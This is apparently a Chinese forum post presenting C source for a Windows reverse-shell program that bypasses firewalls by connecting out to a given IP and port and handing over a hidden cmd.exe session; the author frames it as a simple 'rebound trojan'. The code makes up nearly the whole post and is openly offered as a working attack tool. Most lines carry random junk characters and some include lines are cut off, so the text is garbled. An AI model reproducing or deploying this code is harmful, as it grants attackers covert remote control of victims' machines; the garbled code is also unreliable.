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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 su1fsoL0  
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/* ============================== ,zHL8SiTX  
Rebound port in Windows NT tcv(<0  
By wind,2006/7 V,d\Wkk/  
===============================*/ Y:,C_^$w;  
#include #Pf<2S  
#include <4vCx  
JJ_ Z{  
#pragma comment(lib,"wsock32.lib") ~S;-sxoO0l  
Q>Z~={"  
void OutputShell(); E&y)`>Nq{  
SOCKET sClient; Xy=ETV%  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; wS#Uw_[  
rXD:^wUSc  
void main(int argc,char **argv) iCg%$h  
{ e"eIQI|N  
WSADATA stWsaData; :}Yk0*  
int nRet; Hv,ll1@h  
SOCKADDR_IN stSaiClient,stSaiServer; ux(~+<k  
`pZX!6Wn  
if(argc != 3) rM A%By^L-  
{ GU2TQx{V  
printf("Useage:\n\rRebound DestIP DestPort\n"); W4d32+V  
return; !8[A;+o3P  
} q@[F|EF=  
*9kg \#  
WSAStartup(MAKEWORD(2,2),&stWsaData); ZSe30Rl\  
ov,s]g83  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); h`N2M,  
xi "3NF%=  
stSaiClient.sin_family = AF_INET; rnhLv$  
stSaiClient.sin_port = htons(0); 2672oFD  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ,iP YsW]5  
~B"HI+:\L  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ;NdH]a {  
{ }k%6X@  
printf("Bind Socket Failed!\n"); S!=R\_{u$  
return; IBJNs$  
} Y8v[kuo7  
= wDXlAQ  
stSaiServer.sin_family = AF_INET; T:{r*zLSN  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); [(#)9/3,  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); (P-^ PNz&  
'hBnV xd&  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) tR'RB@kJ  
{ M`'DD-Q  
printf("Connect Error!"); a<r,LE  
return; ez[x8M>  
} a_5s'Dh  
OutputShell(); {O y|c  
} t7x<=rW7u  
a}FyJp  
void OutputShell() L@AFt)U  
{ J.4U;A5  
char szBuff[1024]; $RYGAh  
SECURITY_ATTRIBUTES stSecurityAttributes; }l$zZ>.\H  
OSVERSIONINFO stOsversionInfo; L f"!:]  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; [y'blCb  
STARTUPINFO stStartupInfo; qQ3Q4R\  
char *szShell; q/I( e  
PROCESS_INFORMATION stProcessInformation; hwXsfh |  
unsigned long lBytesRead; |w*s:p  
Fd<Ouyxqe  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 0Pf88'6  
p$1 'e,G  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); X0P +[.i  
stSecurityAttributes.lpSecurityDescriptor = 0; MT>(d*0s  
stSecurityAttributes.bInheritHandle = TRUE; Bx|W#:3e  
,Owk;MV@  
OH2IO  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); =oL:|$Pj  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); PL$XXj>|:  
JnK<:]LcK  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ^"?a)KC  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ah7"qv'L\  
stStartupInfo.wShowWindow = SW_HIDE; )?#K0o[<  
stStartupInfo.hStdInput = hReadPipe; l%GArH`  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ~$T>,^K y  
kGAgXtE  
GetVersionEx(&stOsversionInfo); -%fj-Y7y  
]ASw%Lw)  
switch(stOsversionInfo.dwPlatformId) ^il$t]X5-  
{ :h34mNU  
case 1: ZOV,yuD{8{  
szShell = "command.com"; zi6J|u  
break; [}HPV+j=U  
default: wQy~5+LE  
szShell = "cmd.exe"; i:jXh9+  
break; "*X\'LPs=  
} g*oX`K.  
iEtR<R>=  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ^z)De+,!4  
v\?J=|S+  
send(sClient,szMsg,77,0); ~v2(sRJ  
while(1) 7MrHu2rZ=  
{ ma*#*4  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); }9\6!GY0  
if(lBytesRead) 61kSCu  
{ IWq\M,P  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); i&6U5Va,G  
send(sClient,szBuff,lBytesRead,0); vPYHM2  
} /FXvrH(  
else T>nH=  
{ pI K:$eN!/  
lBytesRead=recv(sClient,szBuff,1024,0); fG>3gS6&  
if(lBytesRead<=0) break; 1DcBF@3sWG  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Q}B]b-c+E  
} QEt"T7a[/  
} (jU_lsG  
>>KI_$V  
return; )GG9[%H!  
}
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